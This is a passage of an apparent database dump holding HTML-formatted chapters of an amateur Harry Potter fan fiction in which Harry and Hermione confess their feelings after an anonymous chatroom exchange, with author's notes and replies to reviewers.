asked concerned.</p>\n\n<p>Harry shrugged, &quot;Fine.&quot; he said.</p>\n\n<p>Hermione held out her arm, &quot;Can I accompany you?&quot; she asked.</p>\n\n<p>Harry grinned and took her arm, &quot;Why of course.&quot; he said grinning and the two left the infirmary.</p>\n\n<p>They walked in silence for a few minutes before Harry asked, &quot;Hermione...where was I found...who found me?&quot; </p>\n\n<p>Hermione bit her lip, &quot;Um well...you were found in the Transfiguration corridor.&nbsp; You were lying on the ground moaning.&nbsp; I was so scared when I found you.&quot;&nbsp; she said, her voice trembling a little, &quot;I didn\'t know what had happened.&quot;</p>\n\n<p>Her eyes glazed over.&nbsp; Harry, noticing, wrapped his arms around her and rested his head on top of hers.&nbsp; Hermione leaned against him, sniffing a little.</p>\n\n<p>&quot;Where\'s Ron?&quot;&nbsp; Harry asked trying to take Hermiones mind off the event.</p>\n\n<p>&quot;Oh well he\'s at Qudditch practise..&quot; she said drawing back a little, &quot;Are you going to go?&quot;</p>\n\n<p>Harry shook his head, &quot;No.&nbsp; I don\'t really feel up to it.&quot; he said and took a hold of her hand, emotions stirring inside him.</p>\n\n<p>\'We haven\'t kissed or talked about the kissing since that night...\'&nbsp; Harry thought.</p>\n\n<p>They walked hand in hand down the corridor, each aware of the awkwardness between them but neither knowing what to say to get rid of it.</p>\n\n<p>&quot;Do you want to go outside?&quot;&nbsp; Harry asked.</p>\n\n<p>Hermione nodded, &quot;Alright.&nbsp; It\'s a beautiful night.&quot;</p>\n\n<p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n\n<p>Harry and Hermione sat under the great oak tree beside the lake.&nbsp; Hermione let her head rest on Harrys shoulder as the two watched the beautiful performance in front of them.&nbsp; Small glowing fairies were flying around casually dropping flower petals over their heads.&nbsp; The merpeople of the lake were up near the surface and seemed to be doing a ritual of sorts.&nbsp; The sky was free of clouds and the stars seemed closer than usual.</p>\n\n<p>&quot;It\'s beautiful out here.&quot;&nbsp; Hermione said.</p>\n\n<p>&quot;Yeah.&quot;&nbsp; Harry said but his thoughts weren\'t on the beautiful night or the surroundings.&nbsp; He was having an innerbattle.</p>\n\n<p>~Kiss her~</p>\n\n<p>\'But what if she doesn\'t want me to.\'</p>\n\n<p>~Then she won\'t kiss you back.~</p>\n\n<p>\'I don\'t think I could handle that.\'</p>\n\n<p>~Shes attracted to you too.~</p>\n\n<p>\'Really?&nbsp; Are you sure?&nbsp; How could she like someone like me?\'</p>\n\n<p>~Now your fishing for compliments.Just&nbsp; kiss her~</p>\n\n<p>\'I can\'t\'</p>\n\n<p>~Do it~</p>\n\n<p>\'No I can\'t!\'</p>\n\n<p>Harry glanced down at Hermione, her lips slightly parted in a ecstatic smile.</p>\n\n<p>~Do it you fool!&nbsp; Just lean over and kiss her~</p>\n\n<p>Before the sensible part of Harrys mind could respond he leaned over and kissed Hermione on the lips.&nbsp; She looked up at her, her eyes a little confused.</p>\n\n<p>&quot;I...god...&quot;&nbsp; Harry said and then kissed her again, delighted when she kissed him back.</p>\n\n<p>They separated, Harrys eyes searching hers, &quot;Hermione I-&quot; he started but was cut off when Hermione kissed him.</p>\n\n<p>His eyes fluttered shut, his heart pounding in his chest.&nbsp; He reached his hand up behind her head and ran it down her back, resting at the small of her back, pulling her closer.</p>\n\n<p>Hermione moaned against his lips, sending goosebumps all over him.&nbsp; She ran her hands through his hair.&nbsp; They broke apart panting a little.</p>\n\n<p>They stared at each other for a few moments in silence.</p>\n\n<p>&quot;Harry-&quot;</p>\n\n<p>&quot;Hermione-&quot;</p>\n\n<p>They both started talking at the same time.&nbsp; Nervous laughter came from both of them at the same time.&nbsp; </p>\n\n<p>&quot;You first.&quot;&nbsp; Hermione said, suddenly shy.</p>\n\n<p>Harry coughed, &quot;Er...it\'s a nice night...&quot; he said, his mind as blank as paper.</p>\n\n<p>Hermione giggled quietly, &quot;If I knew that\'s what you were going to say I\'d have gone first.&quot;</p>\n\n<p>Harry went a little red, &quot;What did you want to say?&quot; he asked.</p>\n\n<p>Hermione bit her lip and didn\'t quite look him in the eye, &quot;Um...Harry...I....&quot;</p>\n\n<p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n\n<p>\'Oh my god she\'s going to say it!!\' Harry thought frantically, \'Oh my god. Oh my god.&nbsp; Oh my god!\'</p>\n\n<p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n\n<p>*\' Oh my god I\'m going to say it.\'*</p>\n\n<p>*~ remember what happened last time you confessed feelings for him?&nbsp; He emailed you back saying he didn\'t like you~*</p>\n\n<p>*\'That was different!&nbsp; He didn\'t know it was me\'*</p>\n\n<p>*~If that\'s the compassion he shows a stranger...do you really want to be with him?~*</p>\n\n<p>*\'I love him\'*</p>\n\n<p>*~Has he ever shown he loves you?~*</p>\n\n<p>*\'I know he loves me!\'*</p>\n\n<p>*~...~*</p>\n\n<p>*\'I\'m not listening to you!\'*</p>\n\n<p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n\n<p>Hermione took a deep breath and stared directly into Harrys eyes, &quot;I...&quot;</p>\n\n<p>Harry leaned forward a little to catch what she was saying.</p>\n\n<p>She shut her eyes briefly, &quot;I...I have to go.&quot; she said jumping up and running inside.</p>\n\n<p>Harry flopped down on his back, his eyes shut and his brow scrunched up in a frown.</p>\n\n<p>Inside the building Hermione rested against the door that had just closed behind her, angry tears building up in her eyes.</p>\n\n<p>*~smart move~*</p>\n\n<p>*\'Shut up!\'* Hermione thought angrily.</p>\n\n<p>Hermione walked to the Gryffindor common room, fighting back tears of frustration.&nbsp; She climbed through the portrait (&quot;Wishingwell&quot;) and went into her room that she shared with Harry and locked the door.&nbsp; Sitting down on her bed she let all the unshed tears stream down her face and she sobbed for a good half an hour.&nbsp; Sitting up on her bed, her face red and puffy from all the crying but on the whole she felt better.&nbsp; She pulled her laptop onto her lap and turned it on.&nbsp; She logged onto the Hogwarts chatroom and was suprised to see a lot of people she knew there.</p>\n\n<p>KnightInShiningArmour: Hey Hermione.&nbsp; </p>\n\n<p>Primrose:Hi</p>\n\n<p>KnightInShiningArmour: Are you okay?&nbsp; I haven\'t seen you all day.&nbsp; </p>\n\n<p>Primrose: I\'m fine.</p>\n\n<p>KnightInShiningArmour: Do you know where Harry is?</p>\n\n<p>Primrose: No</p>\n\n<p>KnightInShiningArmour: Okay well I\'m gonna go find him...Ginny keeps beating me at chess and I need to rebuild my ego.</p>\n\n<p>Primrose: Lol alright I\'ll talk to you later.</p>\n\n<p>Hermione laughed quietly, &quot;Oh Ron.&quot; she said fondly.</p>\n\n<p>She glanced down the list and sighed.&nbsp; He wasn\'t there.&nbsp; She felt almost more secure talking to him online where his big emerald eyes couldn\'t capture her in their gaze.&nbsp; Hermione was about to log off when GoldenPhoenix logged in.&nbsp; She took a deep breath before starting to type.</p>\n\n<p>Primrose: Hey</p>\n\n<p>GoldenPhoenix:Oh hey</p>\n\n<p>Primrose: What are you up to?</p>\n\n<p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n\n<p>Harry sighed when she asked him this question.&nbsp; He was confused, frustrated and heartbroken but he didn\'t know how to write how he felt down without coming across as stupid.</p>\n\n<p>GoldenPhoenix: Not much...</p>\n\n<p>Primrose: You don\'t sound to happy.</p>\n\n<p>GoldenPhoenix: ..No I suppose I don\'t...I\'m a little upset...</p>\n\n<p>Primrose: Really why?</p>\n\n<p>GoldenPhoenix: This girl I like...I thought she was going to say something to me...and she didn\'t and now I feel a bit like a loser..</p>\n\n<p>Primrose: Did you want her to say it??</p>\n\n<p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n\n<p>Hermione leaned closer to her computer.&nbsp; Her heart practically in her mouth.</p>\n\n<p>*\'Come on!&nbsp; Come on!\'*</p>\n\n<p>*~ he won\'t you know~*</p>\n\n<p>There was no sign of typing on GoldenPhoenixes part.&nbsp; Hermione waited impatiently, half wanting to know half dreading the answer.</p>\n\n<p>GoldenPhoenix:...yes.</p>\n\n<p>&quot;OH MY GOD!!&quot; Hermione screamed, &quot;Oh my god!&nbsp; Oh my god! Oh my GOD!! He wanted me to- OH MY GOD!!&quot; she jumped around the room in a very childish way for a few minutes.</p>\n\n<p>Primrose: Where are you?</p>\n\n<p>GoldenPhoenix: What in real life??? Down at the lake.</p>\n\n<p>Primrose: There\'s something I need to say to you Harry.</p>\n\n<p>GoldenPhoenix: Who are you???</p>\n\n<p>Hermione bit her lip.</p>\n\n<p>Primrose: You\'ll see when I get there.&nbsp; </p>\n\n<p>Hermione quickly signed out without letting Harry respond and ran down to the lake as fast as she could.&nbsp; She paused metres away, she could faintly see him still sitting where she\'d left him.</p>\n\n<p>*\' This is it Hermione.&nbsp; Don\'t back out now!\'* she mentally said.</p>\n\n<p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n\n<p>Harry waited nervously.&nbsp; He had an idea of who Primrose was but...if it was her he didn\'t want her to come.</p>\n\n<p>\'God...if she comes and she says I love you to me...I\'m so screwed up...\' Harry thought.</p>\n\n<p>He could barely see a faint figure approaching in the distance.&nbsp; He quickly stood up.</p>\n\n<p>\'Better get this over with.\'</p>\n\n<p>She stepped out into the light, &quot;Hi Harry.&quot;</p>\n\n<p>&quot;Oh my god!&quot;</p> '),
	(205, 11, ' <p>AN:Well right now I SHOULD be studying for my history exam..but well my muses have decided that THIS is the time I should be writing.&nbsp; I swear they want me to fail..AH WELL! Um thanks everyone who reviewed!&nbsp; They were very incouraging!! I found out I have 84 reviews since September 23rd and now @_@ *feels special* so thank you so much everyone!!&nbsp; Plz R&amp;R&amp;R!!!</p>\n\n<p><u>Chapter 10</u></p>\n\n<p>She stepped out into the light, &quot;Hi Harry.&quot;</p>\n\n<p>&quot;Oh my god!&quot; Harrys brain froze as he stared at the female in front of him, &quot;What are you doing here?&quot; he asked.</p>\n\n<p>&quot;I\'m here to meet someone.&quot; she said defensively, &quot;What about you?&quot;</p>\n\n<p>Harry gulped, &quot;I\'m meeting someone...&quot;</p>\n\n<p>There was silence, &quot;Who are you meeting?&quot; Harry asked.</p>\n\n<p>She turned slightly red, &quot;Um someone off the net.&quot;</p>\n\n<p>Harrys heart pounded in his chest \'Oh my god!&nbsp; OH MY GOD!\', &quot;Oh yeah me too.&quot; he said calmly.</p>\n\n<p>Harry squinted as he saw another figure approaching, \'What the-\' </p>\n\n<p>The figured stepped closer and froze staring at the scene before him.</p>\n\n<p>&quot;Ron?!&quot; Harry gasped, &quot;What are you doing here?&quot; he asked.</p>\n\n<p>Ron turned red, &quot;Um meeting someone.&quot; he said, his voice cracking.</p>\n\n<p>&quot;What\'s going on here?&nbsp; Why are there two of you?&quot; she asked glaring between to two, &quot;If this is some stupid joke!&quot; she snapped.</p>\n\n<p>Harry stepped back, his hands held up in front of him defensively, &quot;I don\'t even know who I\'m meeting.&quot; he admitted.</p>\n\n<p>&quot;None of us do.&quot; Ron said biting his lip, &quot;What was your screen name?&quot;</p>\n\n<p>She tossed her head, &quot;What was yours?&quot;</p>\n\n<p>&quot;KnightInShiningArmour.&quot; Ron said blushing.</p>\n\n<p>Her jaw dropped, &quot;<i>You\'re</i> KnightInShiningArmour?&quot; she gasped, &quot;I\'m FreeSpirit!&quot; </p>\n\n<p>Harry looked between the two of them, &quot;So your here to meet Ron, Pansy?&quot; he asked sounding very relieved.</p>\n\n<p>Ron glanced at Harry, &quot;Er who are you waiting for?&quot; he asked.</p>\n\n<p>Harry bit his lip, &quot;Not sure...she said she\'d meet me here and then you two showed up...&quot;</p>\n\n<p>&quot;Come on Ron...lets go up to the castle.&nbsp; I\'m getting cold.&quot; Pansy said linking her arm through Rons.</p>\n\n<p>Ron shot Harry a desperate look over his shoulder.&nbsp; Harry grinned at him and waved.&nbsp; Harry glanced at his watch and looked around trying to see if anyone was coming, \'Where is she?\'</p>\n\n<p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n\n<p>Hermione took a deep breath as she saw Ron and Pansy leave from her spot not far away from Harry but not close enough for him to see her.&nbsp; She closed her eyes briefly and walked forward, her face set and her heart determind.</p>\n\n<p>&quot;Hi Harry!&quot; she said brightly, &quot;What are you doing here?&quot;</p>\n\n<p>*\'As if I don\'t already know...\'*</p>\n\n<p>&quot;Oh um...I\'m just waiting for someone..&quot; Harry said turning red as he stammered awkwardly.</p>\n\n<p>&quot;Oh really who?&quot; Hermione asked keeping her cool.</p>\n\n<p>&quot;Uh..um...well...uh....what are you doing out so late at night?&quot; he asked changing the topic.</p>\n\n<p>&quot;Oh well I thought I\'d go for a walk and- hey!&nbsp; Don\'t change the topic!!&quot; She said keeping up a good act.</p>\n\n<p>&quot;I\'m-I\'m not! I\'m just...er...I\'m just um...&quot; Harry trailed off.</p>\n\n<p>&quot;Stalling?&quot; Hermione suggested helpfully.</p>\n\n<p>&quot;Yea-no!&nbsp; Arg I don\'t know anymore.&quot; Harry said shaking his head in frustration.</p>\n\n<p>&quot;I do.&quot; She said almost cheekily, &quot; You\'re waiting for someone.&quot;</p>\n\n<p>Harrys head shot up, &quot;Yeah...yeah I am.&quot; he said looking at her carefully.</p>\n\n<p>*\'I wonder what he\'s thinking...\'*</p>\n\n<p>&quot;You know... I think you know who I\'m waiting for.&quot; Harry said blinking slowly and deliberately.</p>\n\n<p>Hermione gulped, &quot;Maybe I do.&quot; she said boldly, &quot;And maybe I don\'t.&quot; </p>\n\n<p>Harry stared at her inently, &quot;Hermione...?&quot;</p>\n\n<p>&quot;...Yes?&quot; she asked innocently.</p>\n\n<p>&quot;Come here Primrose.&quot; Harry said holding out his arms to her.</p>\n\n<p>Hermione took a few steps towards him, &quot;What makes you think I\'m this \'Primrose\'?&quot; she asked.</p>\n\n<p>Harry reached out and grabbed her hand, pulling her closer to him, &quot;Because...she showed some of your admirable qualitys...&quot; he brought the palm of her hand up to his lips and softly kissed it.</p>\n\n<p>Hermione felt butterflies travelling up and down her body, &quot;Which would be?&quot; she asked almost breathlessly as he gently stroked the back of her hand with smooth strokes of his own slightly callused from Qudditch hand.</p>\n\n<p>&quot;Pride...inner-beauty...something that makes my heart flutter everytime I see or talk to you.&quot; Harry said looking directly into her eyes.</p>\n\n<p>Her eyes searched his, &quot;Harry...?&quot; she asked.</p>\n\n<p>Harry needed no words to describe his feelings he drew her close and looking into her eyes the whole time brushed his lips across hers.&nbsp; Her eyes fluttered shut and Harry took this as permission and kissed her softly on the lips. Hermione had never felt a kiss quite like it before.&nbsp; Sure their other kisses had been meaningful but this one was so innocently pure yet passionate.&nbsp; Harry drew back for a moment and waited for her to open her eyes.</p>\n\n<p>&quot;Hermione.&quot; he said, his voice full of desire and he drew into a much more passionate kiss.&nbsp; Their tongues searching each others mouths desperately, hands desperately trying to find skin.&nbsp; Harrys hand strayed to the bottom of her tee-shirt and slipped up it slightly.&nbsp; Hermione gasped loudly and broke the kiss at the heat spreading throughout her.&nbsp; Harry smiled a little and removed his hand.&nbsp; He rested his forehead against hers.</p>\n\n<p>&quot;Hi.&quot; she said quietly after a few moments.</p>\n\n<p>&quot;Hi.&quot; he chuckled.</p>\n\n<p>&quot;I\'m Primrose.&quot; she admitted.</p>\n\n<p>&quot;I suspected as much.&quot; he said smiling at her.</p>\n\n<p>&quot;Harry..why m-&quot; she started to ask.</p>\n\n<p>Harry gently put his hand over her mouth, &quot;No talking now.&quot; he said firmly.</p>\n\n<p>She looked highly affronted.</p>\n\n<p>&quot;This is a kissing only zone.&quot; he said with a cheekily grin and captured her lips again.</p>\n\n<p>AN: Hahah I know I know...its short..lol ^_^;; oh well! What did you all think?? FLUFFY NE? ^_^; ah well. Well I finished my mock exams...I got a Merit and three Achieveds (ppl in NZ will know what I mean!!!) to everyone else... *shrugs* ^_^ I passed is all you need to know! So plz Review! They really make my day! Especially after a bad one!! SO PLZ REVIEW!! SORRY ITS SHORT!! Next chapter will be longer I promise!! </p> '),
	(205, 12, ' <p>AN:&nbsp;&nbsp; I know I know...I haven\'t updated.</p>\n\n<p>But I\'m updating now! I have many excuses but I won\'t tell you them all and bore you with them! So on with the story!</p>\n\n<p>Chapter 11</p>\n\n<p>Harry sat back and rested his head on his folded arms.&nbsp; Life was fabulous for a certain individual.&nbsp; A small smile creeped across his face. Okay who am I kidding? A huge grin was plastered across his face. He stared at the ceiling daydreaming about the night before.&nbsp; Things would never be the same for our dear Harry.</p>\n\n<p>&quot;Oi!&quot;</p>\n\n<p>Harry would dream the rest of his life away if he could.&nbsp; Just to stay in that perfect moment forever. The babble of life just washed over him.&nbsp; His ears closed to anything but her voice.</p>\n\n<p>&quot;Are you coming?&quot;</p>\n\n<p>His legs felt immobile.&nbsp; His heart eternally racing.&nbsp; His mind flashing through happy memorys of her.&nbsp; He closed his eyes with a happy sigh.</p>\n\n<p>&quot;Alright that\'s <i>it</i>!&quot; </p>\n\n<p>His world was turned upside down. </p>\n\n<p>&quot;<i>What the hell was that for</i>?&quot; Harry demanded bewildered from his new spot on the floor.</p>\n\n<p>Ron was standing over him with his arms folded, a small amused smile on his face, &quot;Are you mad?! I\'ve been trying to tell you it\'s dinner time for the last 10 minutes!&quot; </p>\n\n<p>&quot;Ah.&quot; Harry said simply and pulled himself upright, &quot;Well we\'d better go then hadn\'t we?&quot;</p>\n\n<p>Ron spluttered and watched as Harry, with a cheeky wink and grin ran from the room. </p>\n\n<p>From the bottom of the stairs Harry called up, &quot;Are you coming Ron or do we have to wait all night?&quot;</p>\n\n<p>Rons feet thundering down the stairs gave Harry his reply.</p>\n\n<p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n\n<p>Harry sat down at the dinner table breathless opposite Hermione.&nbsp; </p>\n\n<p>&quot;Hey.&quot; he said grinning.</p>\n\n<p>&quot;Oh hi Harry.&quot; Hermione said, her head down staring at her plate.</p>\n\n<p>Harry frowned and looked at Ron who was sitting beside her.&nbsp; Ron shrugged and piled his plate with roast potatoes.&nbsp; Harry turned back to Hermione.</p>\n\n<p>&quot;Are you alright?&quot; he asked concerned.</p>\n\n<p>&quot;Oh yes.&nbsp; I\'m fine.&quot; Hermione said still not meeting Harrys eyes, &quot;I actually need to go to the library so I\'ll see you two later.&quot; She stood up and glanced briefly at Harrys questioning stare before practically running out of the hall.</p>\n\n<p>Harry looked down at his plate with a sigh.&nbsp; </p>\n\n<p>&quot;Won-sher wh-sh up wish Hermiishnee.&quot; Ron said with his mouth full.</p>\n\n<p>Harry shrugged, biting his lip and started poking the meal in front of him.&nbsp; He did practically everything with it apart from eat it.&nbsp; After a few minutes Harry dropped his fork down. </p>\n\n<p>&quot;I\'m going to go see if Hermione\'s okay.&nbsp; Catch you later.&quot; Harry said quickly.</p>\n\n<p>Ron nodded, &quot;Shay hi foor me.&quot; he said nearly spraying Harry with food.</p>\n\n<p>Harry gave him a quick smile and left the Great Hall as quickly as he could.&nbsp; What was making her act like this to him?&nbsp; He thought everything had been going fine.&nbsp; More than fine...fabulously.&nbsp; But maybe she regretted the night before...he knew he certainly didn\'t but that didn\'t mean that she didn\'t.&nbsp; He let out a long sigh and opened the library door scanning for her entrancing face.&nbsp; He let the door close quietly behind him and looked around for her bushy hair.&nbsp; Colin Creevy was sitting at a table close to him.</p>\n\n<p>&quot;Hey Colin.&quot; Harry said sitting down opposite him.</p>\n\n<p>&quot;Oh hi Harry!&nbsp; I got those photos developed from the last Gryffindor win!!&quot;</p>\n\n<p>&quot;That\'s nice.&quot; Harry said absentmindely, &quot;Have you seen Hermione?&quot;</p>\n\n<p>Colin shook his head, &quot;Nup.&nbsp; I\'ve been here for quite a while and I haven\'t seen her.&nbsp; Hey Harry...I don\'t suppose you know about sleeping potions do you?&quot; he asked hopefully.</p>\n\n<p>&quot;Sorry Colin.&nbsp; I\'m a bit busy. But good luck.&quot; Harry said standing up and pushing the chair in.</p>\n\n<p>&quot;Thanks anyway.&quot; Colin said glumly.</p>\n\n<p>Harry practically raced out of the library, \'where <i>is</i> she?\'</p>\n\n<p>AN: Alright I know that was short AND boring...I\'m having a bit of a writers block at the moment...so if you have some ideas of things you\'d like me to add in.&nbsp; More D/G? I hear yah.&nbsp; I\'m working on adding them in for the next chapter...have I left any things unfinished in the story?? I have some problems reading over the chapters sometimes and my beta is ill unfortunetly.&nbsp; So please give me some helping hands?? I\'ll dedicate the chapters to you and give you all the credit. Promise! Signing out. NiaSphinx</p> '),
	(205, 13, ' <p>KypDurron- thanks for all the reviews!!</p>\n\n<p>SilverFoot- I am! I am!</p>\n\n<p>lazy_kris - thanks for that. </p>\n\n<p>nathan - it is?? really?? And I didn\'t even use any of my excuses :)</p>\n\n<p>To the random as person who didnt enter a name or email address and did one letter/number reviews - what the hell? I think you have a bit too much TIME on your hands!</p>\n\n<p>ArwenGaladriel - Me too! Lol. Obviously. And here I thought you\'d be a LoTR fanfic shipper ;)</p>\n\n<p>kmoney901894 - Yay thanks for the review! What\'s up with Hermione? Here I\'ll tell you...*whispers* Nah!! Hehehehehe. You\'ll just have to read the next chapter! </p>\n\n<p>Clyde - Aw thank you. *feels appreciated*</p>\n\n<p>Prongs - Aw thank you! And you reviewed on chapter 1 and chapter 12 ^_^;; </p>\n\n<p>Isabella Grace - ISABELLA GRACE!! YAY!! I MISSED YOUR REVIEWS!! *is happy now* Your reviews are always FABULOUSLY long!! YAY!! REVIEW AGAIN!!!</p>\n\n<p>christina - thanks!</p>\n\n<p>ears91 - you\'ll have to read to find out!!</p>\n\n<p>evilfairy - YAY! Thanks for thinking up some helpful ideas!&nbsp; </p>\n\n<p>Muddgutts - Lol! I think we\'ve ALL wanted to punch Harry at some time or another!</p>\n\n<p>laila - thanks.</p>\n\n<p>~*~Dracos Girl~*~ - thanks. hope i do too!</p>\n\n<p>And eveyone else who reviewed and I haven\'t put your name on here - THANKS FOR THE REVIEW! Keep reading!</p>\n\n<p>AN: Oopsies my bad. I keep forgetting the disclaimers!!</p>\n\n<p><b>DISCLAIMER: I OWN HARRY POTTER AND ALL THE CHARACTERS! Haha I wish...I\'m just a sad little person sitting at the computer because I\'m too lame to think up my own characters! (that and I\'m obsessed with HP but who isnt?!)So no sueing! Not mine. J.K.Rowling etc. owns all this. </b></p>\n\n<p>AN: Alright there we go! Wow all the reviews! I got loads of reviews considering that random one letter/number person did LOADS of them. (very frustrating!!!so no one get any ideas!!)</p>\n\n<p>Well I\'m just sitting here with my bag of white m&amp;ms (eheheh taaaasty!!) and listening to muusic and of course typing! (incase anyone wanted to know!) Thanks for all the tips of what you guys want! It\'s fabulous! Keep up the great work!</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <u>Chapter 12</u></p>\n\n<p>&nbsp;&nbsp;&nbsp; <i>Dedicated to lazy_kris, kmoney901894, evilfairy and Isabella Grace for their fabulous ideas!</i></p>\n\n<p>Harry sat down down in an armchair beside Ron who was in the middle of playing chess with Ginny.</p>\n\n<p>&quot;Hi Harry.&quot; Ginny said cheerily.</p>\n\n<p>&quot;Hey.&quot; Ron mumbled as he stared intently at the chessboard, &quot;Find Hermione?&quot;</p>\n\n<p>Harry sighed and blew some of the messy strands of hair out of his face, &quot;Nope. I checked everywhere...&quot;</p>\n\n<p>Ron frowned and ordered his bishop to take out Ginnys knight.</p>\n\n<p>Ginny smirked and moved her king, &quot;Checkmate.&quot;</p>\n\n<p>&quot;What?&quot; Ron demanded leaning forward, his eyes widening, &quot;I can\'t believe it!&quot; he said shocked.</p>\n\n<p>Harry smiled a little, but his mind was to preoccupied to really notice. Where was Hermione? He\'d looked in the library.&nbsp; In their room. Outside. In the Great Hall. In the dungeons. (hey it could happen!) In the girls bathrooms.&nbsp; In the prefects bathrooms. In the infirmary.&nbsp; It was like she\'d vanished.&nbsp; And Harry was starting to panic.&nbsp; What if something had happened to her?&nbsp; Sure he\'d checked the infirmary but she could be lying somewhere injured.&nbsp; Harrys head started to spin at the possibilites.</p>\n\n<p>&quot;You alright?&quot; Ron asked flopping down in a big cushy armchair beside Harry, &quot;You look a little stressed.&quot;</p>\n\n<p>&quot;Of course I\'m stressed!&quot; Harry choked out, &quot;I can\'t find Hermione!&nbsp; I looked everywhere!&nbsp; She\'s nowhere to be found!&quot; Harrys voice became more panicked with every statement.</p>\n\n<p>&quot;Harry. Calm down.&quot; Ron said giving Harry a look of bewilderment, &quot;She\'s probably off reading a book somewhere.&quot;</p>\n\n<p>Harry frowned, &quot;Yeah I guess...&quot; he said quietly.</p>\n\n<p>Ron raised an eyebrow, &quot;What to play a game of chess?&quot; he asked.</p>\n\n<p>&quot;As if!&quot; Harry scoffed, &quot;So you can beat me into the ground?&nbsp; Ginny seems like more of a challenge to you.&quot;</p>\n\n<p>Rons eye twitched.</p>\n\n<p>&quot;I think I\'m going to go to the kitchens and get something to eat.&quot; Harry said, reluctantly standing up.</p>\n\n<p>&quot;Alright.&nbsp; Bring me back some eclairs.&quot; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~~~</p>\n\n<p>\'Maybe Rons right.&nbsp; Maybe she\'s just sitting somewhere outside reading and I just missed her.&nbsp; Maybe...\'</p>\n\n<p>Harrys mind was racing as he made his way to the kitchens.&nbsp; He tickled the pear and waited for the entrance to open.&nbsp; He stepped into the bustling kitchen and watched in awe as the house elves, as always, were running backwards and forwards.</p>\n\n<p>&quot;Harry Potter!&quot;</p>\n\n<p>Harry knew the voice the moment it sounded, &quot;Hi Dobby.&quot; he said smiling, &quot;How are you?&quot;</p>\n\n<p>Harry only half listened to Dobbys response as he scanned the room.</p>\n\n<p>&quot;Have you seen Hermione?&quot; Harry asked interrupting Dobbys answer.</p>\n\n<p>&quot;Oh yes Harry Potter!&nbsp; She was here before to get something to eat.&quot; Dobby said nodding.</p>\n\n<p>&quot;When?&quot; Harry asked urgently.</p>\n\n<p>&quot;Dobby is not sure Harry Potter.&quot;</p>\n\n<p>&quot;Okay Dobby. That\'s fine.&nbsp; Thanks.&nbsp; Bye.&quot;&nbsp; Harry said racing out of the kitchens.</p>\n\n<p>&quot;Come visit Dobby soon!&quot; Dobby called to Harrys retreating back.</p>\n\n<p>Harry walked through the almost empty corridors, ignoring anyone who greeted him.&nbsp; He was lost in his thoughts and was a bit suprised when he found himself at his and Hermiones room.&nbsp; </p>\n\n<p>&quot;Lions Den.&quot; Harry said somewhat glumly and climbed through the portrait.</p>\n\n<p>His eyes widened as a rather nervous bushy haired girl greeted him.</p>\n\n<p>&quot;Oh hi Harry.&quot; Hermione said blushing a little and not meeting his eyes.</p>\n\n<p>&quot;Hermione.&quot; Harry said breathlessly.</p>\n\n<p>His legs felt like they were frozen.&nbsp; His heart was beating in his chest.&nbsp; Just to see her face again.&nbsp; To be in the same room as her.</p>\n\n<p>&quot;Hermione.&quot; He breathed again. </p>\n\n<p>&quot;Um. Excuse me.&quot; Hermione said pushing past him , their shoulders brushing each others.&nbsp; She climbed out of the portrait and started to walk down the corridor quickly.&nbsp; Harry quickly scrambled out after her.</p>\n\n<p>&quot;Hermione wait!&quot; Harry said running after her and grabbing her forearm so she couldn\'t walk away, &quot;We really need to talk!&quot;</p>\n\n<p>&quot;What\'s there to talk about?&quot; Hermione asked her back still facing Harry, her voice quivering a little.</p>\n\n<p>Harry frowned and pulled her closer so she was facing him, &quot;You know what we need to talk about.&quot; he said firmly.</p>\n\n<p>Hermione was looking at the floor.</p>\n\n<p>&quot;Hermione.&quot; Harry said softly and tilted her chin up with two fingers, &quot;What\'s wrong?&quot;</p>\n\n<p>Hermione turned her head to the left and away from his fingers, &quot;Nothing.&nbsp; Just leave me alone Harry.&nbsp; I could expect this from other guys but I thought you were my friend.&quot;</p>\n\n<p>She pulled her arm out of his grasp and backed up a few paces, &quot;I thought you really cared!&quot; She said, her eyes finally meeting his, they looked determind but were filled with tears.</p>\n\n<p>&quot;I do care!&quot; Harry said, a very very confused look on his face, &quot;Hermione I don\'t understand what I\'ve done!&quot;</p>\n\n<p>&quot;Come on Harry. I know all about it.&nbsp; About you and Parvati.&quot; she said wiping tears angrily away from her eyes.</p>\n\n<p>&quot;Me and Parvati?&quot; Harry asked bewildered, &quot;What are you on about? There\'s nothing between me and Parvati!&quot;</p>\n\n<p>Hermione looked torn, half disbeliving and half wanting to believe him.&nbsp; Harry took her hands in his own.</p>\n\n<p>&quot;Hermione. I promise you. There is <i>nothing </i>between me and Parvati. There never has been and there never will be.&nbsp; Where did you get this from?&quot;</p>\n\n<p>Hermione sighed and leaned against his chest, &quot;I got a letter from someone annoymous today they said they\'d seen you 